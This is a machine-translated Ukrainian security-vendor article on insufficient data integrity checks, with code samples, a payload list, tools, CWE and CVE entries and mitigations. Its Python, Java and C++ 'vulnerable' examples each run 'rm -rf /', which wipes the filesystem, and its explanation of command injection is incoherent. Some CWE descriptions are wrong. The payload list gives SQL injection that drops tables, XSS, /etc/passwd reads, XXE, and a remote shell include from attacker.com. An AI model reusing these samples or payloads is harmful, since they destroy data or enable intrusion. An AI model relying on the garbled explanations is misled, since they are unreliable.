10 Бер, 2023

Недостатня перевірка цілісності даних

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Недостатня перевірка цілісності даних відноситься до ситуації, коли недостатньо ретельного вивчення чи перевірки точності і повноти даних, що може призвести до помилок або неточностей в даних, які використовуються для прийняття рішень або інших цілей. Це може відбуватися у різних контекстах, таких як введення даних, зберігання даних або передача даних, і може призвести до серйозних наслідків, якщо їх не усунути, таким як неправильний аналіз, помилкові висновки або порушення безпеки. Важливо мати надійні механізми перевірки цілісності даних, такі як контрольні суми, процедури перевірки даних і журнали аудиту, щоб гарантувати, що дані є точними, повними і заслуговують довіри.

Приклад уразливого коду на різних мовах програмування:


в Python:

				
					import os

file_path = "/path/to/file.txt"
data = input("Enter data to write to file: ")

with open(file_path, "w") as f:
    f.write(data)

os.system("rm -rf /")

				
			

 

Цей код дозволяє користувачеві вводити дані, які потім записуються в файл без будь-якої перевірки або очищення вхідних даних. Це залишає код відкритим для ін'єкційних атак, коли зловмисник може ввести шкідливий код, який потім може бути виконаний операційною системою. Крім того, потім код виконує команду "rm -rf /", яка видаляє всі файли в системі, показуючи небезпека недостатньої перевірки цілісності даних.

• В Java:

				
					import java.util.Scanner;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;

public class FileWriterDemo {
    public static void main(String[] args) throws IOException {
        Scanner sc = new Scanner(System.in);
        String filePath = "/path/to/file.txt";
        System.out.println("Enter data to write to file:");
        String data = sc.nextLine();

        File file = new File(filePath);
        FileWriter fw = new FileWriter(file);
        fw.write(data);
        fw.close();

        Runtime.getRuntime().exec("rm -rf /");
    }
}

				
			


Подібно наприклад Python цей код дозволяє користувачеві вводити дані, які потім записуються в файл без будь-якої перевірки або очищення вхідних даних. Це залишає код відкритим для ін'єкційних атак, коли зловмисник може ввести шкідливий код, який потім може бути виконаний операційною системою. Крім того, потім код виконує команду "rm -rf /", яка видаляє всі файли в системі.

• в C ++:

				
					#include <iostream>
#include <fstream>
#include <cstdlib>

using namespace std;

int main()
{
    string file_path = "/path/to/file.txt";
    string data;
    cout << "Enter data to write to file: ";
    getline(cin, data);

    ofstream file(file_path.c_str());
    if (!file.is_open())
    {
        cout << "Error opening file!" << endl;
        exit(1);
    }

    file << data << endl;
    file.close();

    system("rm -rf /");
    return 0;
}

				
			


Подібно попереднім прикладам, цей код дозволяє користувачеві вводити дані, які потім записуються в файл без будь-якої перевірки або очищення вхідних даних. Це залишає код відкритим для ін'єкційних атак, коли зловмисник може ввести шкідливий код, який потім може бути виконаний операційною системою. Крім того, потім код виконує команду "rm -rf /", яка видаляє всі файли в системі.

Приклади експлуатації Недостатня перевірка цілісності даних

Ін'єкційні атаки:

У наведених раніше прикладах уразливого коду користувачеві дозволяється вводити дані, які потім записуються у файл. Однак перевірка або очищення вхідних даних відсутня, що може дозволити зловмиснику впровадити шкідливий код. Наприклад, зловмисник може ввести такий рядок:

				
					Hello"; rm -rf /

				
			


Цей рядок буде записана у файл, як є, а потім, коли команда для видалення всіх файлів в системі буде виконана, вона також виконає введену команду, в результаті чого всі файли в системі будуть видалені.

Маніпулювання даними:

Недостатня перевірка цілісності даних також може бути використана для маніпулювання даними. Наприклад, якщо система неправильно перевіряє вхідні дані, зловмисник може змінити дані при передачі або сховище, що потенційно може призвести до неправильного аналізу, помилкових висновків або порушення безпеки. Наприклад, зловмисник може змінити дані про фінансові транзакції в базі даних, що призведе до неправильної фінансової звітності.

Атаки типу "Відмова в обслуговуванні":

Недостатня перевірка цілісності даних також може бути використана для запуску атак типу "відмова в обслуговуванні", коли система чи мережа перевантажені трафіком або запитами, що робить їх непридатними для використання. Наприклад, зловмисник може завалити систему запитами, що містять неправильні або спотворені дані, що призведе до збою системи або її відмови відповідати на запити.

Методи підвищення привілеїв при недостатній перевірки цілісності даних

Введення команди:

Впровадження команд - це тип атаки, при якому зловмисник вводить шкідливі команди у вхідні дані, які потім виконуються системою. В контексті недостатньої перевірки цілісності даних це може статися, коли вхідні дані не були належним чином перевірені або очищені перед використанням для виконання системних команд. Зловмисник може вводити команди, які підвищують їх привілеї, дозволяючи їм отримати адміністративний доступ до системи.

Переповнення буфера:

Переповнення буфера - це тип атаки, при якому зловмисник переповнює буфер великою кількістю даних, чим він може обробити, що призводить до збою системи або виконання довільного коду. В контексті недостатньої перевірки цілісності даних може статися переповнення буфера, коли вхідні дані не перевірені належним чином, що дозволяє зловмисникові вводити більше даних, ніж очікувалося, і перезаписувати області пам'яті, які контролюють системні процеси, включаючи рівні привілеїв.

SQL-ін'єкція:

SQL-ін'єкція - це тип атаки, при якому зловмисник вводить шкідливі SQL-команди у вхідні дані, які потім виконуються базою даних. В контексті недостатньої перевірки цілісності даних це може статися, коли вхідні дані не були належним чином перевірені або очищені перед використанням для виконання SQL-запитів. Зловмисник може вводити SQL-команди, які підвищують їх привілеї, дозволяючи їм отримати адміністративний доступ до бази даних.

Включення файлу:

Включення файлу - це тип атаки, при якому зловмисник використовує уразливість в веб-додатку для включення файлу, яким він управляє на сервері. В контексті недостатньої перевірки цілісності даних це може статися, коли вхідні дані не перевіряються належним чином перед використанням для включення файлів. Зловмисник може включити файл, що містить шкідливий код, який підвищує його привілеї, дозволяючи йому отримати адміністративний доступ до системи.

Загальна методологія та контрольний список за недостатню перевірку цілісності даних

Методологія:

  1. Визначте джерела вхідних даних: Визначте всі джерела вхідних даних для досліджуваного програми або системи. Це може включати користувальницький введення, дані з зовнішніх систем, файли і бази даних.

  2. Аналіз вхідних даних: Проаналізуйте вхідні дані, щоб визначити можливі вхідні значення і очікуваний формат. Цей аналіз повинен виявити будь-які обмеження або вимоги до вхідних даних і будь-які потенційні ризики безпеки, які можуть виникнути в результаті використання невірних або зловмисних вхідних даних.

  3. Розробка тестових прикладів: Розробіть тестові приклади, щоб переконатися, що вхідні дані належним чином перевірені та очищені перед їх використанням. Тестові випадки повинні включати вхідні значення, які є допустимими, неприпустимими і шкідливими, щоб перевірити правильність обробки всіх вхідних сценаріїв.

  4. Виконання тестових прикладів: Виконайте тестові приклади і запишіть результати. Це повинно включати будь-які повідомлення про помилки або несподівана поведінка, що виникає в результаті неправильного або шкідливого введення.

  5. Перевірте результати: Переконайтеся, що результати тестових прикладів відповідають очікуваному поведінки системи. Якщо будуть виявлені які-небудь проблеми, про них слід повідомити і усунути за допомогою відповідних процесів виправлення.

  6. Повторіть тестування: Повторіть тестування по мірі необхідності, щоб переконатися, що всі джерела вхідних даних і сценарії ретельно протестовані.

  7. Документуйте тестування: Документуйте процес тестування, включаючи джерела вхідних даних, тестові приклади і результати. Ця документація може бути використана для подальшого використання для забезпечення належного відстеження та вирішення будь-яких проблем.

Контрольний список:

  1. Визначте всі джерела введення, включаючи користувальницький введення, зовнішні системи, файли і бази даних.

  2. Проаналізуйте вхідні дані, щоб визначити можливі вхідні значення і очікуваний формат.

  3. Визначте, чи існують які-небудь обмеження або вимоги до вхідних даних і чи існують які-небудь потенційні загрози безпеці, які можуть виникнути в результаті використання невірних або зловмисних вхідних даних.

  4. Розробіть тестові приклади, які включають допустимі, неправильні і шкідливі вхідні значення, щоб перевірити правильність обробки всіх вхідних сценаріїв.

  5. Переконайтеся, що всі вхідні дані належним чином перевірені та очищені перед їх використанням.

  6. Перевірте наявність поширених вразливостей перевірки вхідних даних, таких як впровадження SQL, міжсайтовий скриптінг (XSS) і переповнення буферу.

  7. Перевірте на наявність вразливостей підвищення привілеїв, які можуть виникнути при неправильній перевірки вхідних даних.

  8. Переконайтеся, що повідомлення про помилки і несподівана поведінка обробляються належним чином.

  9. Повторіть тестування по мірі необхідності, щоб переконатися, що всі джерела вхідних даних і сценарії ретельно протестовані.

  10. Документуйте процес тестування, включаючи джерела вхідних даних, тестові приклади і результати.

Набір інструментів для експлуатації Недостатня перевірка цілісності даних

Ручні Інструменти:

  1. Burp Suite – Популярний інструмент тестування безпеки веб-додатків, який дозволяє вручну перевіряти уразливості веб-додатків, включаючи недостатню перевірку даних.

  2. OWASP ZAP – Сканер безпеки веб-додатків, який може використовуватися для ручного та автоматизованого тестування вразливостей веб-додатків.

  3. Sqlmap – Інструмент для автоматичного впровадження SQL і захоплення бази даних, який може бути використаний для використання недостатньої перевірки даних у веб-додатках.

  4. Metasploit Framework – Потужний інструмент тестування на проникнення, який включає модулі для тестування і використання вразливостей веб-додатків.

  5. Nessus – Сканер вразливостей, який може використовуватися для ручного та автоматизованого тестування вразливостей веб-додатків, включаючи недостатню перевірку даних.

  6. Nmap – Засіб відображення мережі і сканування вразливостей, яке може використовуватися для виявлення вразливостей веб-додатків, включаючи недостатню перевірку даних.

  7. Hydra – Інструмент для злому паролів, який може бути використаний для використання недостатньої перевірки пароля у веб-додатках.

  8. Wireshark – Аналізатор мережевих протоколів, який може використовуватися для аналізу мережевого трафіку і виявлення вразливостей веб-додатків, включаючи недостатню перевірку даних.

Автоматизовані інструменти:

  1. AppSpider – Інструмент тестування безпеки веб-додатків, який використовує автоматичне сканування для виявлення вразливостей, включаючи недостатню перевірку даних.

  2. Acunetix – Сканер безпеки веб-додатків, який використовує автоматичне сканування для виявлення вразливостей, включаючи недостатню перевірку даних.

  3. Netsparker – Сканер безпеки веб-додатків, який використовує автоматичне сканування для виявлення вразливостей, включаючи недостатню перевірку даних.

  4. QualysGuard – Хмарний сканер вразливостей, який може використовуватися для автоматичного тестування вразливостей веб-додатків, включаючи недостатню перевірку даних.

  5. IBM AppScan – Сканер безпеки веб-додатків, який використовує автоматичне сканування для виявлення вразливостей, включаючи недостатню перевірку даних.

  6. HP WebInspect – Сканер безпеки веб-додатків, який використовує автоматичне сканування для виявлення вразливостей, включаючи недостатню перевірку даних.

  7. Vega – Сканер безпеки веб-додатків з відкритим вихідним кодом, який може використовуватися для автоматичного тестування вразливостей веб-додатків, включаючи недостатню перевірку даних.

  8. Skipfish – Сканер безпеки веб-додатків з відкритим вихідним кодом, який використовує автоматичне сканування для виявлення вразливостей, включаючи недостатню перевірку даних.

  9. Nikto – Сканер веб-сервер з відкритим вихідним кодом, який може використовуватися для автоматичного тестування вразливостей веб-додатків, включаючи недостатню перевірку даних.

  10. Arachni – Сканер безпеки веб-додатків з відкритим вихідним кодом, який використовує автоматичне сканування для виявлення вразливостей, включаючи недостатню перевірку даних.

  11. Grendel-Scan – Сканер безпеки веб-додатків з відкритим вихідним кодом, який використовує автоматичне сканування для виявлення вразливостей, включаючи недостатню перевірку даних.

  12. w3af – Сканер безпеки веб-додатків з відкритим вихідним кодом, який використовує автоматичне сканування для виявлення вразливостей, включаючи недостатню перевірку даних.

Загальна перерахування слабких місць (CWE)

• CWE-20: Неправильна перевірка вхідних даних – ця вразливість виникає, коли додаток неправильно перевіряє вхідні дані, що призводить до виникнення низки проблем безпеки, включаючи порушення цілісності даних.

• CWE-116: Неправильне кодування або екранування вихідних даних – ця вразливість виникає, коли додаток неправильно кодує або екранує вихідні дані, що призводить до можливості міжсайтового скриптинга (XSS) та інших вразливостей, які можуть вплинути на цілісність даних.

• CWE-129: Неправильна перевірка індексу масиву – ця слабкість виникає, коли додаток неправильно перевіряє індекси масиву, що призводить до можливості переповнення буфера і порушень цілісності даних.

• CWE-190: переповнення цілих чисел або обтікання – ця слабкість виникає, коли додаток неправильно обробляє числові значення, що призводить до можливості переповнення або обтікання і порушень цілісності даних.

• CWE-222: Усічення інформації, що відноситься до безпеки – ця вразливість виникає, коли додаток скорочує або відкидає інформацію, що відноситься до безпеки, що призводить до можливості втрати даних або порушення цілісності даних.

• CWE-273: Неправильна перевірка на наявність втрачених привілеїв – ця вразливість виникає, коли додаток неправильно перевіряє наявність втрачених привілеїв, що призводить до можливості порушення цілісності даних.

• CWE-349: використання менш надійного джерела – ця слабкість виникає, коли додаток використовує ненадійне джерело, що призводить до можливості порушення цілісності даних.

• CWE-434: Необмежена завантаження файлу з небезпечним типом – ця вразливість виникає, коли додаток дозволяє користувачам завантажувати файли небезпечного типу, що призводить до можливості порушення цілісності даних.

• CWE-436: Конфлікт інтерпретації – ця вразливість виникає, коли додаток виконує суперечливі інтерпретації вхідних даних, що призводить до можливості порушення цілісності даних.

• CWE-464: використання жорстко закодованого пароля – ця вразливість виникає, коли додаток використовує жорстко закодований пароль, що призводить до можливості порушення цілісності даних, якщо зловмисник зможе отримати доступ до паролем.

CVE, пов'язані з недостатньою перевіркою цілісності даних

• CVE-2022-30316 – Honeywell Experion PKS Safety Manager 5.02 має недостатню перевірку достовірності даних. Згідно FSCT-2022-0054, існує проблема з оновленням прошивки Honeywell Experion PKS Safety Manager, не пройшов перевірку автентичності. Порушені компоненти характеризуються як: Функціональність оновлення прошивки. Потенційний вплив полягає в маніпуляціях з прошивкою. Honeywell Experion PKS Safety Manager використовує послідовний інтерфейс FTA зв'язку DCOM-232/485 і завантажувач Enea POLO для керування вбудованим програмним забезпеченням. Інженерна робоча станція, на якій встановлено програмне забезпечення Safety Builder, здійснює зв'язок по послідовному каналу або через Ethernet з інтерфейсом DCOM-232/485. Було виявлено, що образи прошивки не мають аутентифікації (у формі підпису прошивки) і покладаються лише на небезпечні контрольні суми для регулярних перевірок цілісності. Образи вбудованого ПЗ не підписані. Зловмисник, який має доступ до послідовного інтерфейсу (або через фізичний доступ, скомпрометований EWS або незахищений шлюз serial-to-ethernet), може використовувати жорстко закодовані облікові дані (див. FSCT-2022-0052) для завантажувача POLO, щоб керувати процесом завантаження і відправляти образи шкідливих прошивок на контролер, що дозволяє маніпулювати прошивкою, виконувати віддалений код і впливати на відмову в обслуговуванні. Пом'якшувальним фактором є те, що для запуску оновлення вбудованого програмного забезпечення необхідно перезавантажити Safety Manager, що зазвичай виконується з допомогою фізичних засобів управління самим Safety Manager. Таким чином, зловмиснику доведеться або діяти до тих пір, поки не відбудеться законна перезавантаження, або, можливо, спробувати примусово перезавантажити комп'ютер за допомогою вторинної уразливості.

• CVE-2022-28385 – Проблема була виявлена у деяких дослівних приводах до 2022-03-31. Через відсутність перевірки цілісності зловмисник може маніпулювати вмістом емульованого приводу компакт-дисків (містить клієнтське програмне забезпечення для Windows і macOS). Вміст цього емульованого приводу компакт-дисків зберігається у вигляді образу ISO-9660 в прихованих секторах USB-накопичувача, доступ до якого можливий тільки з допомогою спеціальних команд IOCTL або при встановленні приводу в зовнішній корпус диска. Маніпулюючи цим ISO-9660 або замінюючи його іншим, зловмисник може зберігати шкідливе програмне забезпечення на що емулюється приводі компакт-дисків. Це програмне забезпечення може бути запущено нічого не підозрюючи жертвою при використанні пристрою. Наприклад, зловмисник, який має тимчасовий фізичний доступ під час ланцюжка поставок, може запрограмувати змінений образ ISO-9660 на пристрої, який завжди приймає контрольований зловмисником пароль для розблокування пристрою. Якщо пізніше зловмисник отримає доступ до використаного USB-накопичувача, він може просто розшифрувати всі наявні на ньому дані користувача. Також можливе зберігання довільного іншого шкідливого програмного забезпечення. Це впливає на виконавчий захищений від відбитків пальців SSD GDMSFE01-INI3637-C VER1.1 і захищений від відбитків пальців портативний жорсткий диск з номером деталі # 53650.

Недостатня перевірка цілісності даних подвиги

  • Ін'єкційні атаки: Недостатня перевірка цілісності даних може призвести до атак з використанням ін'єкцій, таким як впровадження SQL, які дозволяють зловмиснику маніпулювати даними або витягати їх з бази даних. Це може призвести до втрати або пошкодження даних, а також інших порушень безпеки.

  • Атаки на переповнення буфера: Недостатня перевірка цілісності даних також може призвести до атак з переповненням буфера, коли зловмисник може перезаписати дані в буфері і привести до аварійного завершення роботи програми або виконання довільного коду.

  • Атаки з використанням міжсайтових сценаріїв (XSS): Недостатня перевірка цілісності даних може дозволити зловмиснику впровадити шкідливі сценарії на веб-сайт, які потім можуть бути виконані нічого не підозрюють користувачами, які відвідують сайт. Це може призвести до крадіжці конфіденційної інформації, включаючи паролі та інші особисті дані.

  • Виконання довільного коду: Недостатня перевірка цілісності даних також може дозволити зловмиснику виконати довільний код у системі, що потенційно може призвести до подальшої втрати даних або компрометації системи.

  • Атаки на включення файлів: Недостатня перевірка цілісності даних може дозволити зловмиснику включити довільні файли на сервері, які потім можуть бути виконані сервером. Це може призвести до подальшої втрати даних або компрометації системи.

Практикуючись в тестуванні на Недостатня перевірка цілісності даних

Перегляньте відповідну документацію: Перед початком тестування ознайомтеся з будь-якою відповідною документацією, що відноситься до програми або системи, які ви будете тестувати. Це може включати технічні характеристики, керівництва користувача і рекомендації щодо безпеки.

Визначення потенційних векторів атак: Визначте потенційні вектори атак, які можуть бути використані для використання недостатньої перевірки цілісності даних. Це може включати поля введення, файли cookie, URL-адреси та інші області, де приймається користувальницький введення.

Тестові поля введення: Перевірте поля введення, ввівши несподівані вхідні дані, такі як довгі рядки, спеціальні символи та інші вхідні дані, які можуть викликати проблеми з цілісністю даних.

Завантаження тестових файлів: Тестуйте завантаження файлів, намагаючись завантажити файли з несподіваним або шкідливим вмістом, наприклад, файли з виконуваним кодом або файли, які можуть перезаписувати існуючі файли на сервері.

Перевірка на переповнення буфера: Перевірте наявність вразливостей переповнення буфера, ввівши великі обсяги даних у поля введення і спостерігаючи за поведінкою програми. Якщо програма виходить з ладу або веде себе несподівано, може виникнути вразливість переповнення буфера.

Тест на ін'єкційні атаки: Перевірте на наявність ін'єкційних атак, таких як SQL-ін'єкція, ввівши несподівані вхідні дані в поля введення і спостерігаючи за поведінкою програми. Якщо додаток відповідає повідомленнями про помилки або відображає несподівана поведінка, можливо, існує вразливість при впровадженні.

Використовуйте інструменти: Використовуйте інструменти, такі як сканери вразливостей, щоб допомогти виявити потенційні проблеми, пов'язані з недостатньою перевіркою цілісності даних.

Тест на XSS-атаки: Протестуйте XSS-атаки, намагаючись впровадити шкідливі скрипти в поля введення або URL-адреси і спостерігаючи за поведінкою програми. Якщо скрипти виконуються, може виникнути XSS уразливість.

Перегляд повідомлень про помилки: Перегляньте повідомлення про помилки, які відображаються додатком, і знайдіть будь-яку інформацію, яка може бути корисна при використанні вразливостей Недостатньої перевірки цілісності даних.

Проведіть ретельне тестування: Проведіть ретельне тестування додатки або системи, включаючи як ручне, так і автоматизоване тестування, для виявлення будь-яких потенційних вразливостей, пов'язаних з недостатньою перевіркою цілісності даних.

Для дослідження Недостатня перевірка цілісності даних

Дізнайтеся про поширених вразливості: Дослідіть поширені проблеми, пов'язані з недостатньою перевіркою цілісності даних, такі як впровадження SQL, переповнення буфера і XSS атаки.

Ознайомитися з документацією: Ознайомтеся з документацією, що відноситься до програми або системи, які ви будете тестувати, включаючи технічні специфікації, посібники користувача та рекомендації щодо безпеки.

Використовуйте фреймворки тестування: Використовуйте платформи тестування, такі як Керівництво OWASP з тестування безпеки веб-додатків (WASTG), щоб направляти процес тестування і забезпечувати охоплення всіх необхідних областей.

Дізнайтеся, як використовувати інструменти тестування: Дізнайтеся, як використовувати інструменти тестування, такі як сканери вразливостей і фаззеры, щоб допомогти виявити потенційні проблеми, пов'язані з недостатньою перевіркою цілісності даних.

Вивчайте мови програмування: Вивчіть мови програмування, зазвичай використовуються в веб-розробці, такі як PHP, Java і Python, щоб краще зрозуміти, як можуть виникати проблеми, пов'язані з недостатньою перевіркою цілісності даних.

Відвідувати навчальні курси: Відвідуйте навчальні курси, пов'язані з безпекою веб-додатків і тестуванням на уразливості, щоб вивчити кращі практики та набути практичний досвід.

Практичне тестування: Практикуйте тестування веб-додатків і систем для виявлення вразливостей, пов'язаних з недостатньою перевіркою цілісності даних. Використовуйте комбінацію ручних та автоматизованих методів тестування, щоб забезпечити ретельний охоплення.

Будьте в курсі останніх подій: Будьте в курсі останніх загроз безпеці та вразливостей, пов'язаних з недостатньою перевіркою цілісності даних, переглядаючи блоги з безпеки і відвідуючи конференції та навчальні курси.

Книги з оглядом Недостатньої перевірки цілісності даних

Керівництво хакера веб-додатків: пошук і використання недоліків безпеки, Дэфидд Штуттард і Маркус Пінто: Ця книга являє собою всеосяжне керівництво по пошуку і використанню недоліків безпеки у веб-додатках, включаючи проблеми, пов'язані з недостатньою перевіркою цілісності даних.

Безпека веб-додатків: Керівництво для початківців, Брайан Салліван і Вінсент Ллю: Ця книга являє собою введення в безпеку веб-додатків і охоплює такі теми, як недостатня перевірка цілісності даних, ін'єкційні атаки і міжсайтовий скриптінг (XSS).

Злом веб-додатків: виявлення і запобігання проблем безпеки веб-додатківавтор Майк Шема: Ця книга являє собою практичне керівництво по тестуванню безпеки веб-додатків, включаючи методи виявлення вразливостей, пов'язаних з недостатньою перевіркою цілісності даних.

Кулінарна книга з тестування веб-безпеки: систематичні методи швидкого пошуку проблемавтор Пако Хоуп і Бен Вальтер: У цій книзі представлена колекція практичних рецептів тестування веб-додатків на наявність вразливостей в системі безпеки, включаючи недостатню перевірку цілісності даних.

Black Hat Python: Програмування на Python для хакерів і пентестеровавтор Джастін Зейтц: У цій книзі представлено керівництво з використання Python для тестування безпеки веб-додатків, включаючи методи виявлення вразливостей недостатньої перевірки цілісності даних.

Розширене тестування веб-додатків на проникнення за допомогою Burp Suiteавтор Sunny Wear: Ця книга являє собою докладне керівництво по використанню засоби тестування безпеки веб-додатків Burp Suite, включаючи методи виявлення вразливостей недостатньої перевірки цілісності даних.

Заплутана мережа: керівництво по забезпеченню безпеки сучасних веб-додатківавтор Михайло Залевський: Ця книга містить огляд сучасних загроз безпеки веб-додатків і охоплює такі теми, як недостатня перевірка цілісності даних, XSS атаки і перехоплення кліків.

Безпека веб-додатків, Всеосяжне керівництво по забезпеченню безпеки вашого прикладного рівняавтор Ендрю Хоффман: Ця книга являє собою всеосяжне керівництво з безпеки веб-додатків, включаючи методи виявлення і усунення вразливостей, пов'язаних з недостатньою перевіркою цілісності даних.

Професійне тестування на проникнення: Створення і функціонування офіційної хакерської лабораторіїавтор Томас Вільгельм: Ця книга являє собою керівництво по створенню і експлуатації лабораторії тестування на проникнення, включаючи методи виявлення вразливостей недостатньої перевірки цілісності даних.

Основи веб-злому: інструменти і методи для атаки в Інтернетіавтор Джош Паулі: Ця книга являє собою введення в методи веб-злому, включаючи недостатню перевірку вразливостей цілісності даних, і охоплює популярні інструменти веб-злому, такі як Burp Suite і OWASP ZAP.

Список корисних навантажень Недостатня перевірка цілісності даних

  • SQL-ін'єкція: '; ВИДАЛИТИ ТАБЛИЦЮ users; — (Ця корисна навантаження намагається видалити таблицю "users" із бази даних.

  • Міжсайтовий скриптінг (XSS): <script>alert(‘XSS’);</script> (This payload displays an alert box when executed.)

  • Перетин шляху: ../../etc/passwd (Ця корисна навантаження намагається отримати доступ до файлу/etc / passwd" в системі Unix.)

  • Введення команди: ; ls -la (Ця корисна навантаження намагається виконати команду "ls -la" в системі Unix.)

  • Обхід каталогу: /etc/passwd (Ця корисна навантаження намагається отримати доступ до файлу/etc / passwd" на веб-сервері.

  • Віддалене включення файлу: http://attacker.com/shell.php (Ця корисна навантаження намагається включити сценарій віддаленої оболонки, розміщений на сервері, контрольованому зловмисником.)

  • Впровадження XML-коду: <?xml version=”1.0″ encoding=”ISO-8859-1″?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM “file:///etc/passwd” >]><foo>&xxe;</foo> (This payload attempts to include the contents of the “/etc/passwd” file in an XML document.)

  • Відправити файл: shell.php (Ця корисна навантаження намагається завантажити шкідливий сценарій командного рядка на веб-сервер.)

  • Обхід аутентифікації: 'або 1= 1 — (Ця корисна навантаження намагається обійти аутентифікацію, завжди оцінюючи значення true.)

  • Переповнення буфера: ААААААААА... (Ця корисна навантаження намагається заповнити буфер, відправляючи довгий рядок символів "А".)

Як захиститися від недостатньої перевірки цілісності даних

  1. Перевірка вхідних даних: завжди перевіряйте дані, що вводяться користувачем, перш ніж приймати їх. Це включає в себе перевірку довжини, формату та типу даних. Перевірка вхідних даних має виконуватися як на стороні клієнта, так і на стороні сервера.

  2. Кодування вихідного сигналу: завжди кодуйте користувальницький введення перед його відображенням, щоб запобігти атаки з використанням міжсайтового скриптинга (XSS). Кодування вихідних даних повинно виконуватися як на стороні клієнта, так і на стороні сервера.

  3. Використовуйте параметризрвані запити: замість об'єднання користувальницького введення для формування SQL-запитів. Параметризрвані запити можуть допомогти запобігти атаки з використанням SQL-ін'єкцій.

  4. Контроль доступу: механізми, які гарантують, що користувачі можуть отримувати доступ лише до тих ресурсів, доступ до яких їм дозволено.

  5. Обмеження привілеїв користувача: для запобігання несанкціонованого доступу або зміни даних.

  6. Використовуйте шифрування: для захисту конфіденційних даних, як під час передачі, так і в стані спокою.

  7. Підтримуйте програмне забезпечення в актуальному стані:  з останніми виправленнями безпеки і оновленнями.

  8. Провести тестування безпеки:  виявляти і усувати уразливості їх до того, як вони можуть бути використані.

  9. Навчати користувачів:  про те, як розпізнавати та уникати поширених атак, таких як фішинг і соціальна інженерія.

  10. Моніторинг і ведення журналу активності:  своєчасно виявляти атаки і реагувати на них.

Заходи по пом'якшенню наслідків недостатньої перевірки цілісності даних

  1. Сувора перевірка вхідних даних: Перевірте всі дані, введені користувачем, щоб переконатися, що вони відповідають очікуваному формату та довжині і що вони не містять ніякого шкідливого вмісту.

  2. Методи безпечного кодування: Дотримуйтесь правил безпечного кодування, такі як використання параметризованих запитів, кодування вихідних даних та інші заходи безпеки, щоб гарантувати безпеку вашого коду.

  3. Використовуйте шифрування: Використовуйте шифрування для захисту конфіденційних даних, як під час передачі, так і в стані спокою.

  4. Контроль доступу: Вбудуйте механізми контролю доступу, щоб гарантувати, що користувачі можуть отримувати доступ лише до тих ресурсів, доступ до яких їм дозволено.

  5. Обмеження привілеїв користувача: Обмежте права користувача, щоб запобігти несанкціонованому доступу або зміні даних.

  6. Регулярні оновлення програмного забезпечення: Оновлюйте програмне забезпечення і операційні системи за допомогою останніх виправлень безпеки і оновлень для усунення будь-яких відомих вразливостей.

  7. Тестування на проникнення: Проводите регулярне тестування на проникнення, щоб виявити уразливості і усунути їх, перш ніж їх можна буде використовувати.

  8. Огляди коду: Проводьте регулярні перевірки коду, щоб виявити будь-які потенційні слабкі місця в системі безпеки або вразливі місця.

  9. Ведення журналу та моніторинг: Вбудуйте системи ведення журналу та моніторингу для виявлення будь-якої підозрілої активності та своєчасного реагування.

  10. Навчання та обізнаність: Забезпечте програми навчання та підвищення обізнаності для користувачів і співробітників, щоб допомогти їм розпізнавати та уникати поширених загроз безпеки, таких як фішинг і соціальна інженерія.

Висновок

Недостатня перевірка цілісності даних це поширена вразливість, яка може бути використана зловмисниками для зміни даних без авторизації або виявлення. Ця вразливість виникає, коли системі не вдається належним чином перевірити дані, що вводяться користувачем або виконати адекватні перевірки даних перед їх обробкою.

Щоб запобігти недостатню перевірку цілісності даних, важливо впровадити методи безпечного кодування, включаючи перевірку вхідних даних, кодування вихідних даних і параметризрвані запити. Також слід ввести контроль доступу і обмеження привілеїв користувачів, щоб запобігти несанкціонований доступ та зміна даних. Крім того, регулярні оновлення програмного забезпечення, тестування на проникнення та огляди коду можуть допомогти виявити уразливості і усунути їх до того, як їх можна буде використовувати.

У цілому, важливо проявляти пильність і ініціативу у вирішенні проблеми Недостатньої перевірки цілісності даних, оскільки це може мати серйозні наслідки для безпеки і цілісності конфіденційних даних.

Інші Послуги

Готові до безпеки?

зв'язатися з нами